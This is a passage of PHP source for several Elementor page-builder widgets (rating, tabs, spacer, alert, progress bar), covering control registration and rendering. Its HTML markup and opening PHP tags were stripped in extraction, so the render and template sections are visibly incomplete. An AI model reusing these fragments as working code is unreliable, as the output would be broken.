$this->end_controls_section(); } protected function register_controls() { $start_logical = is_rtl() ? 'end' : 'start'; $end_logical = is_rtl() ? 'start' : 'end'; $this->start_controls_section( 'section_rating', [ 'label' => esc_html__( 'Rating', 'elementor' ), ] ); $this->add_control( 'rating_scale', [ 'label' => esc_html__( 'Rating Scale', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 1, 'max' => 10, ], ], 'default' => [ 'size' => 5, ], ] ); $this->add_control( 'rating_value', [ 'label' => esc_html__( 'Rating', 'elementor' ), 'type' => Controls_Manager::NUMBER, 'min' => 0, 'step' => 0.5, 'dynamic' => [ 'active' => true, ], ] ); $this->add_control( 'rating_icon', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'type' => Controls_Manager::ICONS, 'fa4compatibility' => 'icon', 'skin' => 'inline', 'label_block' => false, 'skin_settings' => [ 'inline' => [ 'icon' => [ 'icon' => 'eicon-star', ], ], ], 'default' => [ 'value' => 'eicon-star', 'library' => 'eicons', ], 'separator' => 'before', 'exclude_inline_options' => [ 'none' ], ] ); $this->add_responsive_control( 'icon_alignment', [ 'label' => esc_html__( 'Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'start' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => "eicon-align-$start_logical-h", ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-align-center-h', ], 'end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => "eicon-align-$end_logical-h", ], ], 'selectors_dictionary' => [ 'start' => '--e-rating-justify-content: flex-start;', 'center' => '--e-rating-justify-content: center;', 'end' => '--e-rating-justify-content: flex-end;', ], 'selectors' => [ '{{WRAPPER}}' => '{{VALUE}}', ], 'separator' => 'before', ] ); $this->end_controls_section(); $this->add_style_tab(); } protected function get_rating_value(): float { $initial_value = $this->get_rating_scale(); $rating_value = $this->get_settings_for_display( 'rating_value' ); if ( '' === $rating_value ) { $rating_value = $initial_value; } $rating_value = floatval( $rating_value ); return round( $rating_value, 2 ); } protected function get_rating_scale(): int { return intval( $this->get_settings_for_display( 'rating_scale' )['size'] ); } protected function get_icon_marked_width( $icon_index ): string { $rating_value = $this->get_rating_value(); $width = '0%'; if ( $rating_value >= $icon_index ) { $width = '100%'; } elseif ( intval( ceil( $rating_value ) ) === $icon_index ) { $width = ( $rating_value - ( $icon_index - 1 ) ) * 100 . '%'; } return $width; } protected function get_icon_markup(): string { $icon = $this->get_settings_for_display( 'rating_icon' ); $rating_scale = $this->get_rating_scale(); ob_start(); for ( $index = 1; $index <= $rating_scale; $index++ ) { $this->add_render_attribute( 'icon_marked_' . $index, [ 'class' => 'e-icon-wrapper e-icon-marked', ] ); $icon_marked_width = $this->get_icon_marked_width( $index ); if ( '100%' !== $icon_marked_width ) { $this->add_render_attribute( 'icon_marked_' . $index, [ 'style' => '--e-rating-icon-marked-width: ' . $icon_marked_width . ';', ] ); } ?>
print_render_attribute_string( 'icon_marked_' . $index ); ?>> 'true' ] ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
'true' ] ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
add_render_attribute( 'widget', [ 'class' => 'e-rating', 'itemtype' => 'https://schema.org/Rating', 'itemscope' => '', 'itemprop' => 'reviewRating', ] ); $this->add_render_attribute( 'widget_wrapper', [ 'class' => 'e-rating-wrapper', 'itemprop' => 'ratingValue', 'content' => $this->get_rating_value(), 'role' => 'img', 'aria-label' => sprintf( esc_html__( 'Rated %1$s out of %2$s', 'elementor' ), $this->get_rating_value(), $this->get_rating_scale() ), ] ); ?>
print_render_attribute_string( 'widget' ); ?>>
print_render_attribute_string( 'widget_wrapper' ); ?>> get_icon_markup(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
experiments->is_feature_active( 'nested-elements' ); } /** * Register tabs widget controls. * * Adds different input fields to allow the user to change and customize the widget settings. * * @since 3.1.0 * @access protected */ protected function register_controls() { $start = is_rtl() ? 'end' : 'start'; $end = is_rtl() ? 'start' : 'end'; $this->start_controls_section( 'section_tabs', [ 'label' => esc_html__( 'Tabs', 'elementor' ), ] ); $repeater = new Repeater(); $repeater->add_control( 'tab_title', [ 'label' => esc_html__( 'Title', 'elementor' ), 'type' => Controls_Manager::TEXT, 'default' => esc_html__( 'Tab Title', 'elementor' ), 'placeholder' => esc_html__( 'Tab Title', 'elementor' ), 'label_block' => true, 'dynamic' => [ 'active' => true, ], ] ); $repeater->add_control( 'tab_content', [ 'label' => esc_html__( 'Content', 'elementor' ), 'default' => esc_html__( 'Tab Content', 'elementor' ), 'placeholder' => esc_html__( 'Tab Content', 'elementor' ), 'type' => Controls_Manager::WYSIWYG, ] ); $is_nested_tabs_active = Plugin::$instance->widgets_manager->get_widget_types( 'nested-tabs' ); if ( $is_nested_tabs_active ) { $this->add_deprecation_message( '3.8.0', esc_html__( 'You are currently editing a Tabs Widget in its old version. Any new tabs widget dragged into the canvas will be the new Tab widget, with the improved Nested capabilities.', 'elementor' ), 'nested-tabs' ); } $this->add_control( 'tabs', [ 'label' => esc_html__( 'Tabs Items', 'elementor' ), 'type' => Controls_Manager::REPEATER, 'fields' => $repeater->get_controls(), 'default' => [ [ 'tab_title' => esc_html__( 'Tab #1', 'elementor' ), 'tab_content' => esc_html__( 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.', 'elementor' ), ], [ 'tab_title' => esc_html__( 'Tab #2', 'elementor' ), 'tab_content' => esc_html__( 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.', 'elementor' ), ], ], 'title_field' => '{{{ tab_title }}}', ] ); $this->add_control( 'type', [ 'label' => esc_html__( 'Position', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'default' => 'horizontal', 'options' => [ 'vertical' => [ 'title' => esc_html__( 'Vertical', 'elementor' ), 'icon' => 'eicon-h-align-' . ( is_rtl() ? 'right' : 'left' ), ], 'horizontal' => [ 'title' => esc_html__( 'Horizontal', 'elementor' ), 'icon' => 'eicon-v-align-top', ], ], 'prefix_class' => 'elementor-tabs-view-', 'separator' => 'before', ] ); $this->add_control( 'tabs_align_horizontal', [ 'label' => esc_html__( 'Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ '' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => "eicon-align-$start-h", ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-align-center-h', ], 'end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => "eicon-align-$end-h", ], 'stretch' => [ 'title' => esc_html__( 'Stretch', 'elementor' ), 'icon' => 'eicon-align-stretch-h', ], ], 'prefix_class' => 'elementor-tabs-alignment-', 'condition' => [ 'type' => 'horizontal', ], ] ); $this->add_control( 'tabs_align_vertical', [ 'label' => esc_html__( 'Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ '' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => 'eicon-align-start-v', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-align-center-v', ], 'end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => 'eicon-align-end-v', ], 'stretch' => [ 'title' => esc_html__( 'Stretch', 'elementor' ), 'icon' => 'eicon-align-stretch-v', ], ], 'prefix_class' => 'elementor-tabs-alignment-', 'condition' => [ 'type' => 'vertical', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_tabs_style', [ 'label' => esc_html__( 'Tabs', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'navigation_width', [ 'label' => esc_html__( 'Navigation Width', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'unit' => '%', ], 'range' => [ 'px' => [ 'min' => 10, 'max' => 500, ], '%' => [ 'min' => 10, 'max' => 50, ], 'em' => [ 'min' => 1, 'max' => 50, ], 'rem' => [ 'min' => 1, 'max' => 50, ], ], 'selectors' => [ '{{WRAPPER}} .elementor-tabs-wrapper' => 'width: {{SIZE}}{{UNIT}}', ], 'condition' => [ 'type' => 'vertical', ], ] ); $this->add_control( 'border_width', [ 'label' => esc_html__( 'Border Width', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'default' => [ 'size' => 1, ], 'range' => [ 'px' => [ 'max' => 20, ], 'em' => [ 'max' => 2, ], ], 'selectors' => [ '{{WRAPPER}} .elementor-tab-title, {{WRAPPER}} .elementor-tab-title:before, {{WRAPPER}} .elementor-tab-title:after, {{WRAPPER}} .elementor-tab-content, {{WRAPPER}} .elementor-tabs-content-wrapper' => 'border-width: {{SIZE}}{{UNIT}};', ], ] ); $this->add_control( 'border_color', [ 'label' => esc_html__( 'Border Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-tab-mobile-title, {{WRAPPER}} .elementor-tab-desktop-title.elementor-active, {{WRAPPER}} .elementor-tab-title:before, {{WRAPPER}} .elementor-tab-title:after, {{WRAPPER}} .elementor-tab-content, {{WRAPPER}} .elementor-tabs-content-wrapper' => 'border-color: {{VALUE}};', ], ] ); $this->add_control( 'background_color', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-tab-desktop-title.elementor-active' => 'background-color: {{VALUE}};', '{{WRAPPER}} .elementor-tabs-content-wrapper' => 'background-color: {{VALUE}};', ], ] ); $this->add_control( 'heading_title', [ 'label' => esc_html__( 'Title', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_control( 'tab_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-tab-title, {{WRAPPER}} .elementor-tab-title a' => 'color: {{VALUE}}', ], 'global' => [ 'default' => Global_Colors::COLOR_PRIMARY, ], ] ); $this->add_control( 'tab_active_color', [ 'label' => esc_html__( 'Active Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-tab-title.elementor-active, {{WRAPPER}} .elementor-tab-title.elementor-active a' => 'color: {{VALUE}}', ], 'global' => [ 'default' => Global_Colors::COLOR_ACCENT, ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'tab_typography', 'selector' => '{{WRAPPER}} .elementor-tab-title', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_PRIMARY, ], ] ); $this->add_group_control( Group_Control_Text_Stroke::get_type(), [ 'name' => 'text_stroke', 'selector' => '{{WRAPPER}} .elementor-tab-title', ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'title_shadow', 'selector' => '{{WRAPPER}} .elementor-tab-title', ] ); $this->add_control( 'title_align', [ 'label' => esc_html__( 'Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-text-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-text-align-center', ], 'right' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-text-align-right', ], ], 'selectors' => [ '{{WRAPPER}} .elementor-tab-title' => 'text-align: {{VALUE}};', ], 'condition' => [ 'tabs_align' => 'stretch', ], ] ); $this->add_control( 'heading_content', [ 'label' => esc_html__( 'Content', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_control( 'content_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-tab-content' => 'color: {{VALUE}};', ], 'global' => [ 'default' => Global_Colors::COLOR_TEXT, ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'content_typography', 'selector' => '{{WRAPPER}} .elementor-tab-content', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_TEXT, ], ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'content_shadow', 'selector' => '{{WRAPPER}} .elementor-tab-content', ] ); $this->end_controls_section(); } /** * Render tabs widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $tabs = $this->get_settings_for_display( 'tabs' ); $id_int = substr( $this->get_id_int(), 0, 3 ); $this->add_render_attribute( 'elementor-tabs', 'class', 'elementor-tabs' ); ?>
print_render_attribute_string( 'elementor-tabs' ); ?>>
$item ) : $tab_count = $index + 1; $tab_title_setting_key = $this->get_repeater_setting_key( 'tab_title', 'tabs', $index ); $this->add_render_attribute( $tab_title_setting_key, [ 'id' => 'elementor-tab-title-' . $id_int . $tab_count, 'class' => [ 'elementor-tab-title', 'elementor-tab-desktop-title' ], 'aria-selected' => 1 === $tab_count ? 'true' : 'false', 'data-tab' => $tab_count, 'role' => 'tab', 'tabindex' => 1 === $tab_count ? '0' : '-1', 'aria-controls' => 'elementor-tab-content-' . $id_int . $tab_count, 'aria-expanded' => 'false', ] ); ?>
print_render_attribute_string( $tab_title_setting_key ); ?>>
$item ) : $tab_count = $index + 1; $hidden = 1 === $tab_count ? 'false' : 'hidden'; $tab_content_setting_key = $this->get_repeater_setting_key( 'tab_content', 'tabs', $index ); $tab_title_mobile_setting_key = $this->get_repeater_setting_key( 'tab_title_mobile', 'tabs', $tab_count ); $this->add_render_attribute( $tab_content_setting_key, [ 'id' => 'elementor-tab-content-' . $id_int . $tab_count, 'class' => [ 'elementor-tab-content', 'elementor-clearfix' ], 'data-tab' => $tab_count, 'role' => 'tabpanel', 'aria-labelledby' => 'elementor-tab-title-' . $id_int . $tab_count, 'tabindex' => '0', 'hidden' => $hidden, ] ); $this->add_render_attribute( $tab_title_mobile_setting_key, [ 'class' => [ 'elementor-tab-title', 'elementor-tab-mobile-title' ], 'aria-selected' => 1 === $tab_count ? 'true' : 'false', 'data-tab' => $tab_count, 'role' => 'tab', 'tabindex' => 1 === $tab_count ? '0' : '-1', 'aria-controls' => 'elementor-tab-content-' . $id_int . $tab_count, 'aria-expanded' => 'false', ] ); $this->add_inline_editing_attributes( $tab_content_setting_key, 'advanced' ); ?>
print_render_attribute_string( $tab_title_mobile_setting_key ); ?>>print_unescaped_setting( 'tab_title', 'tabs', $index ); ?>
print_render_attribute_string( $tab_content_setting_key ); ?>>print_text_editor( $item['tab_content'] ); ?>
<# if ( settings.tabs ) { var elementUid = view.getIDInt().toString().substr( 0, 3 ); #>
<# _.each( settings.tabs, function( item, index ) { var tabCount = index + 1, tabUid = elementUid + tabCount, tabTitleKey = 'tab-title-' + tabUid; view.addRenderAttribute( tabTitleKey, { 'id': 'elementor-tab-title-' + tabUid, 'class': [ 'elementor-tab-title','elementor-tab-desktop-title' ], 'data-tab': tabCount, 'role': 'tab', 'tabindex': 1 === tabCount ? '0' : '-1', 'aria-controls': 'elementor-tab-content-' + tabUid, 'aria-expanded': 'false', } ); #>
{{{ item.tab_title }}}
<# } ); #>
<# _.each( settings.tabs, function( item, index ) { var tabCount = index + 1, tabContentKey = view.getRepeaterSettingKey( 'tab_content', 'tabs',index ); view.addRenderAttribute( tabContentKey, { 'id': 'elementor-tab-content-' + elementUid + tabCount, 'class': [ 'elementor-tab-content', 'elementor-clearfix', 'elementor-repeater-item-' + item._id ], 'data-tab': tabCount, 'role' : 'tabpanel', 'aria-labelledby' : 'elementor-tab-title-' + elementUid + tabCount } ); view.addInlineEditingAttributes( tabContentKey, 'advanced' ); #>
{{{ item.tab_content }}}
<# } ); #>
<# } #>
start_controls_section( 'section_spacer', [ 'label' => esc_html__( 'Spacer', 'elementor' ), ] ); $this->add_responsive_control( 'space', [ 'label' => esc_html__( 'Space', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'default' => [ 'size' => 50, ], 'size_units' => [ 'px', 'em', 'rem', 'vh', 'custom' ], 'range' => [ 'px' => [ 'max' => 600, ], 'em' => [ 'max' => 20, ], ], 'render_type' => 'template', 'selectors' => [ '{{WRAPPER}}' => '--spacer-size: {{SIZE}}{{UNIT}};', ], ] ); $this->end_controls_section(); } /** * Render spacer widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $settings = $this->get_settings_for_display(); if ( empty( $settings['space'] ) || empty( $settings['space']['size'] ) || 0 === $settings['space']['size'] ) { return; } ?>
<# if ( '' === settings.space || '' === settings.space.size || 0 === settings.space.size ) { return; } #>
start_controls_section( 'section_alert', [ 'label' => esc_html__( 'Alert', 'elementor' ), ] ); $this->add_control( 'alert_type', [ 'label' => esc_html__( 'Type', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'info', 'options' => [ 'info' => esc_html__( 'Info', 'elementor' ), 'success' => esc_html__( 'Success', 'elementor' ), 'warning' => esc_html__( 'Warning', 'elementor' ), 'danger' => esc_html__( 'Danger', 'elementor' ), ], 'prefix_class' => 'elementor-alert-', ] ); $this->add_control( 'alert_title', [ 'label' => esc_html__( 'Title', 'elementor' ), 'type' => Controls_Manager::TEXT, 'placeholder' => esc_html__( 'Enter your title', 'elementor' ), 'default' => esc_html__( 'This is an Alert', 'elementor' ), 'label_block' => true, 'dynamic' => [ 'active' => true, ], ] ); $this->add_control( 'alert_description', [ 'label' => esc_html__( 'Content', 'elementor' ), 'type' => Controls_Manager::TEXTAREA, 'placeholder' => esc_html__( 'Enter your description', 'elementor' ), 'default' => esc_html__( 'I am a description. Click the edit button to change this text.', 'elementor' ), 'dynamic' => [ 'active' => true, ], ] ); $this->add_control( 'show_dismiss', [ 'label' => esc_html__( 'Dismiss Icon', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Show', 'elementor' ), 'label_off' => esc_html__( 'Hide', 'elementor' ), 'return_value' => 'show', 'default' => 'show', ] ); $this->add_control( 'dismiss_icon', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'type' => Controls_Manager::ICONS, 'fa4compatibility' => 'icon', 'skin' => 'inline', 'label_block' => false, 'render_type' => 'template', 'skin_settings' => [ 'inline' => [ 'none' => [ 'label' => 'Default', 'icon' => 'eicon-close', ], 'icon' => [ 'icon' => 'eicon-star', ], ], ], 'recommended' => [ 'fa-regular' => [ 'times-circle', ], 'fa-solid' => [ 'times', 'times-circle', ], ], 'condition' => [ 'show_dismiss' => 'show', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_type', [ 'label' => esc_html__( 'Alert', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'background', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-alert' => 'background-color: {{VALUE}};', ], ] ); $this->add_control( 'border_color', [ 'label' => esc_html__( 'Border Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-alert' => 'border-color: {{VALUE}};', ], ] ); $this->add_control( 'border_left-width', [ 'label' => esc_html__( 'Left Border Width', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 100, ], 'em' => [ 'max' => 10, ], ], 'selectors' => [ '{{WRAPPER}} .elementor-alert' => 'border-left-width: {{SIZE}}{{UNIT}};', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_title', [ 'label' => esc_html__( 'Title', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'title_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-alert-title' => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'alert_title', 'selector' => '{{WRAPPER}} .elementor-alert-title', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_PRIMARY, ], ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'title_shadow', 'selector' => '{{WRAPPER}} .elementor-alert-title', ] ); $this->end_controls_section(); $this->start_controls_section( 'section_description', [ 'label' => esc_html__( 'Description', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'description_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-alert-description' => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'alert_description', 'selector' => '{{WRAPPER}} .elementor-alert-description', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_TEXT, ], ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'description_shadow', 'selector' => '{{WRAPPER}} .elementor-alert-description', ] ); $this->end_controls_section(); $this->start_controls_section( 'section_dismiss_icon', [ 'label' => esc_html__( 'Dismiss Icon', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, 'condition' => [ 'show_dismiss' => 'show', ], ] ); $this->add_responsive_control( 'dismiss_icon_size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 100, ], 'em' => [ 'max' => 10, ], 'rem' => [ 'max' => 10, ], ], 'selectors' => [ '{{WRAPPER}}' => '--dismiss-icon-size: {{SIZE}}{{UNIT}};', ], ] ); $this->add_responsive_control( 'dismiss_icon_vertical_position', [ 'label' => esc_html__( 'Vertical Position', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => -100, 'max' => 100, ], ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vh', 'custom' ], 'selectors' => [ '{{WRAPPER}}' => '--dismiss-icon-vertical-position: {{SIZE}}{{UNIT}};', ], ] ); $this->add_responsive_control( 'dismiss_icon_horizontal_position', [ 'label' => esc_html__( 'Horizontal Position', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => -100, 'max' => 100, ], ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}}' => '--dismiss-icon-horizontal-position: {{SIZE}}{{UNIT}};', ], ] ); $this->start_controls_tabs( 'dismiss_icon_colors' ); $this->start_controls_tab( 'dismiss_icon_normal_colors', [ 'label' => esc_html__( 'Normal', 'elementor' ), ] ); $this->add_control( 'dismiss_icon_normal_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}}' => '--dismiss-icon-normal-color: {{VALUE}};', ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'dismiss_icon_hover_colors', [ 'label' => esc_html__( 'Hover', 'elementor' ), ] ); $this->add_control( 'dismiss_icon_hover_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}}' => '--dismiss-icon-hover-color: {{VALUE}};', ], ] ); $this->add_control( 'dismiss_icon_hover_transition_duration', [ 'label' => esc_html__( 'Transition Duration', 'elementor' ) . ' (s)', 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 0, 'max' => 3, 'step' => 0.1, ], ], 'selectors' => [ '{{WRAPPER}}' => '--dismiss-icon-hover-transition-duration: {{SIZE}}s', ], ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->end_controls_section(); } /** * Render alert widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $settings = $this->get_settings_for_display(); if ( Utils::is_empty( $settings['alert_title'] ) && Utils::is_empty( $settings['alert_description'] ) ) { return; } $this->add_render_attribute( 'alert_wrapper', 'class', 'elementor-alert' ); $this->add_render_attribute( 'alert_wrapper', 'role', 'alert' ); $this->add_render_attribute( 'alert_title', 'class', 'elementor-alert-title' ); $this->add_render_attribute( 'alert_description', 'class', 'elementor-alert-description' ); $this->add_inline_editing_attributes( 'alert_title', 'none' ); $this->add_inline_editing_attributes( 'alert_description' ); ?>
print_render_attribute_string( 'alert_wrapper' ); ?>> print_render_attribute_string( 'alert_title' ); ?>>print_unescaped_setting( 'alert_title' ); ?> print_render_attribute_string( 'alert_description' ); ?>>print_unescaped_setting( 'alert_description' ); ?>
<# if ( ! settings.alert_title && ! settings.alert_description ) { return; } view.addRenderAttribute( 'alert_wrapper', 'class', 'elementor-alert' ); view.addRenderAttribute( 'alert_wrapper', 'role', 'alert' ); view.addRenderAttribute( 'alert_title', 'class', 'elementor-alert-title' ); view.addRenderAttribute( 'alert_description', 'class', 'elementor-alert-description' ); view.addInlineEditingAttributes( 'alert_title', 'none' ); view.addInlineEditingAttributes( 'alert_description' ); var iconHTML = elementor.helpers.renderIcon( view, settings.dismiss_icon, { 'aria-hidden': true }, 'i' , 'object' ), migrated = elementor.helpers.isIconMigrated( settings, 'dismiss_icon' ); #>
<# if ( settings.alert_title ) { #> {{{ settings.alert_title }}} <# } #> <# if ( settings.alert_description ) { #> {{{ settings.alert_description }}} <# } #> <# if ( 'show' === settings.show_dismiss ) { #> <# } #>
start_controls_section( 'section_progress', [ 'label' => esc_html__( 'Progress Bar', 'elementor' ), ] ); $this->add_control( 'title', [ 'label' => esc_html__( 'Title', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'placeholder' => esc_html__( 'Enter your title', 'elementor' ), 'default' => esc_html__( 'My Skill', 'elementor' ), 'label_block' => true, ] ); $this->add_control( 'title_tag', [ 'label' => esc_html__( 'Title HTML Tag', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'h1' => 'H1', 'h2' => 'H2', 'h3' => 'H3', 'h4' => 'H4', 'h5' => 'H5', 'h6' => 'H6', 'div' => 'div', 'span' => 'span', 'p' => 'p', ], 'default' => 'span', 'condition' => [ 'title!' => '', ], ] ); $this->add_control( 'progress_type', [ 'label' => esc_html__( 'Type', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ '' => esc_html__( 'Default', 'elementor' ), 'info' => esc_html__( 'Info', 'elementor' ), 'success' => esc_html__( 'Success', 'elementor' ), 'warning' => esc_html__( 'Warning', 'elementor' ), 'danger' => esc_html__( 'Danger', 'elementor' ), ], 'default' => '', 'condition' => [ 'progress_type!' => '', // a workaround to hide the control, unless it's in use (not default). ], 'separator' => 'before', ] ); $this->add_control( 'percent', [ 'label' => esc_html__( 'Percentage', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'default' => [ 'size' => 50, 'unit' => '%', ], 'dynamic' => [ 'active' => true, ], ] ); $this->add_control( 'display_percentage', [ 'label' => esc_html__( 'Display Percentage', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Show', 'elementor' ), 'label_off' => esc_html__( 'Hide', 'elementor' ), 'return_value' => 'show', 'default' => 'show', ] ); $this->add_control( 'inner_text', [ 'label' => esc_html__( 'Inner Text', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'placeholder' => esc_html__( 'e.g. Web Designer', 'elementor' ), 'default' => esc_html__( 'Web Designer', 'elementor' ), 'label_block' => true, ] ); $this->end_controls_section(); $this->start_controls_section( 'section_progress_style', [ 'label' => esc_html__( 'Progress Bar', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'bar_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'global' => [ 'default' => Global_Colors::COLOR_PRIMARY, ], 'selectors' => [ '{{WRAPPER}} .elementor-progress-wrapper .elementor-progress-bar' => 'background-color: {{VALUE}};', ], ] ); $this->add_control( 'bar_bg_color', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-progress-wrapper' => 'background-color: {{VALUE}};', ], ] ); $this->add_control( 'bar_height', [ 'label' => esc_html__( 'Height', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'selectors' => [ '{{WRAPPER}} .elementor-progress-bar' => 'height: {{SIZE}}{{UNIT}}; line-height: {{SIZE}}{{UNIT}};', ], ] ); $this->add_control( 'bar_border_radius', [ 'label' => esc_html__( 'Border Radius', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'selectors' => [ '{{WRAPPER}} .elementor-progress-wrapper' => 'border-radius: {{SIZE}}{{UNIT}}; overflow: hidden;', ], ] ); $this->add_control( 'inner_text_heading', [ 'label' => esc_html__( 'Inner Text', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_control( 'bar_inline_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-progress-bar' => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'bar_inner_typography', 'selector' => '{{WRAPPER}} .elementor-progress-bar', 'exclude' => [ 'line_height', ], ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'bar_inner_shadow', 'selector' => 